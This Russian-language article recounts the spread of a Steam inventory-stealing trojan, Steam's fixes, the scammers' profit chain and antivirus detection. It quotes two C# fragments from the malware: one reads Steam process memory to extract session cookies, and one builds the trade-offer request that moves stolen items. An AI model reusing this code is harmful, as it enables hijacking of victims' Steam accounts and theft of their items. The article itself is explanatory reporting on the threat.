Написать статью побудила публикация «Троян, ворующий предметы из инвентаря Steam».
Моя статья содержит:
1) Историю появления и распространения в рунете;
2) Историю борьбы «Стима» с данным зловредом;
3) За счёт чего мошенники получают прибыль?
4) Что делают в стиме в связи с этими мошенничествами?
В статье нет полного исходного кода или ссылок, где можно его достать/купить. Кому интересно — добро пожаловать под кат.

История появления и распространения в рунете


Кто был первоначальным автором данного трояна — неизвестно, первые упоминания появились в Америке в начале этого года. В рунете же данный троян появился и начал активно распространяться только в середине-конце лета.

Программа и исходник появились в начале августа на одном популярном «читерском» портале. Два друга нашли собранный и накрытый троян, заметили, что он написан на C# и сумели вытянуть довольно запутанный, но рабочий исходный код. Далее был собран билдер и выложен на портал, через некоторое время был выложен и переписанный в человеческий вид и исходник. Начиная с этого момента упоминания о нём можно было найти везде. Только на очень ленивом и малоактивном форуме нельзя было найти если не копию рабочего исходника, то человека, продающего готовый «билд».

Общая схема работы:


Из процесса «Стима» регуляркой выдираются две cookie-записи SteamLogin и SteamLoginSecure:

WinApis.SYSTEM_INFO sYSTEM_INFO = default(WinApis.SYSTEM_INFO);
		while (sYSTEM_INFO.minimumApplicationAddress.ToInt32() == 0)
		{
			WinApis.GetSystemInfo(out sYSTEM_INFO);
		}
		IntPtr minimumApplicationAddress = sYSTEM_INFO.minimumApplicationAddress;
		long num = (long)minimumApplicationAddress.ToInt32();
		List<string> list = new List<string>();
		Process[] array = array = Process.GetProcessesByName("steam");
		Process process = null;
		for (int i = 0; i < array.Length; i++)
		{
			try
			{
				foreach (ProcessModule processModule in array[i].Modules)
				{
					if (processModule.FileName.EndsWith("steamclient.dll"))
					{
						process = array[i];
						break;
					}
				}
			}
			catch
			{
			}
		}
		if (process != null)
		{
			IntPtr handle = WinApis.OpenProcess(1040u, false, process.Id);
			WinApis.PROCESS_QUERY_INFORMATION pROCESS_QUERY_INFORMATION = default(WinApis.PROCESS_QUERY_INFORMATION);
			IntPtr intPtr = new IntPtr(0);
			while (WinApis.VirtualQueryEx(handle, minimumApplicationAddress, out pROCESS_QUERY_INFORMATION, 28u) != 0)
			{
				if (pROCESS_QUERY_INFORMATION.Protect == 4u && pROCESS_QUERY_INFORMATION.State == 4096u)
				{
					byte[] array2 = new byte[pROCESS_QUERY_INFORMATION.RegionSize];
					WinApis.ReadProcessMemory(handle, pROCESS_QUERY_INFORMATION.BaseAdress, array2, pROCESS_QUERY_INFORMATION.RegionSize, out intPtr);
					string @string = Encoding.UTF8.GetString(array2);
					MatchCollection matchCollection = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(@string);
					if (matchCollection.Count > 0)
					{
						foreach (Match match in matchCollection)
						{
							if (!list.Contains(match.Value))
							{
								list.Add(match.Value);
							}
						}
					}
				}
				num += (long)((ulong)pROCESS_QUERY_INFORMATION.RegionSize);
				if (num >= 2147483647L)
				{
					break;
				}
				minimumApplicationAddress = new IntPtr(num);
			}
			this.ParsedSteamCookies = list;
		}
	}

Дальше полученные данные подставляются в веб-запрос, который отправляется на сервер и получается сессия, ну и авторизация. После этого у программы теоретически есть полный доступ ко всем функциям клиента Steam. Получение списка итемов и отправка трейд-оффера была описана в предыдущей статье (код приведенный в той статье для отправки оффера — не рабочий).

История борьбы стима с данным зловредом


С августа Steam предпринимал уже две попытки борьбы с данным трояном. Хотя вторую сложно назвать реальной борьбой, скорее это был побочный эффект какого-то апдейта.

Фикс первый. Начало сентября

Как я уже упоминал выше, из клиента парсится 2 куки, но для отправки оффера (предложение обмена вещами с злоумышленником) достаточно было одной из них (SteamLoginSecure). Фикс от Steam заключался в том, что теперь нужны были обе. Как вы сами понимаете, «проблема» в работе стилера была найдена меньше чем за сутки всё теми же умельцами. Ну а еще через пару дней уже новое действующее лицо (не я) выложило исправленный исходный код в общий доступ.(впрочем, он сейчас сильно ругает этот свой поступок).

Фикс второй. 17 ноября

Честно говоря, не известно зачем, но Steam решили добавить 1 параметр в запрос на отправку оффера:

private string sentItems(string sessionID, string items, string[] Offer, string message = "")
	{
		return SteamHttp.SteamWebRequest(this.cookiesContainer, "tradeoffer/new/send", string.Concat(new string[]
		{
			"sessionid=",
			sessionID,
			"&partner=",
			Offer[0],
            "&serverid=1",
			"&tradeoffermessage=",
			Uri.EscapeDataString(message),
			"&json_tradeoffer=",
			Uri.EscapeDataString(string.Format("{5}\"newversion\":true,\"version\":2,\"me\":{5}\"assets\":[{3}],\"currency\":[],\"ready\":false{6},\"them\":{5}\"assets\":[],\"currency\":[],\"ready\":false{6}{6}", new object[]
			{
				sessionID,
				Offer[0],
				message,
				items,
				Offer[2],
				"{",
				"}"
			})),
			"&trade_offer_create_params=",
			Uri.EscapeDataString(string.Format("{0}\"trade_offer_access_token\":\"{2}\"{1}", "{", "}", Offer[2]))
		}), "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
	}

А конкретно — параметр «serverid=1». Зачем он нужен и для чего его добавили надо спрашивать у разработчиков «Стима», но других запросов где он мог бы использовался я не находил.

Хотя обьяснить «ленивые» фиксы от стима довольно просто.

За счёт чего мошенники (и стим!) получают прибыль?


Все игровые ценности, которые получают мошенники, продают по сниженной цене на торговой площадке. Тут я хочу напомнить, что Steam получает 5% со всех операций на торговой площадке. И 10% получает разработчик игры, айтем которой был продан. Учитывая, что разработчиком самых популярных игр с итемами и сервиса Steam является компания Valve, вполне логично, что они не будут особо торопиться с фиксом, получая еще 15% с каждого проданного итема.

Дальше мошенники разными способами уже выводят деньги из «Стима». Так как н��прямую это сделать нельзя, они используют для продажи ценности самого сервиса Steam. Например, ключи или игры (насколько мне известно, они получают примерно 50-65 центов с доллара).

Что делают в Steam в связи с этими мошенничествами?


На блокировку аккаунта (а вернее на блокировку операций покупки/продажи/обмена), на который скидываются вещи, у Steam уходит до 7 дней. За это время злоумышленники чаще всего успевают избавиться от полученных итемов и вывести средства с аккаунта. Если аккаунт блокирован, с него уже ничего нельзя вывести. Максимум — играть в те игры, что на нём.
Надо сказать, что в «Стиме» есть практика возврата украденных вещей, если они не были проданы на торговой площадке. Но, допустим, с российской поддержкой на это ушел месяц:

image

Эпилог


Сам распространением не занимался. Вся информация взята от людей, которые занимаются разработкой или распространением. Цены на данный софт вполне либеральные: 500-1000р за программку, в которую вшит аккаунт. Исходник от 3.5к рублей и выше — в зависимости от того, покупается ли этот исходник у разработчика или у школьника, который его купил и теперь перепродаёт. В данный момент знаю о примерно 4х разных разработчиках. Впрочем, между собой их продукты практически ничем не отличаются.

Ну и напоследок. Лучшие антивирусы на данный момент по определению таких программ — это Avira, Kaspersky, Eset Nod32. Они определяют свежие и довольно прилично обфусцированные/накрытые версии трояна, впрочем, не всегда. Остальные реагируют довольно долго. Даже простая обфускация .Net приложения смущает большинство антивирусов.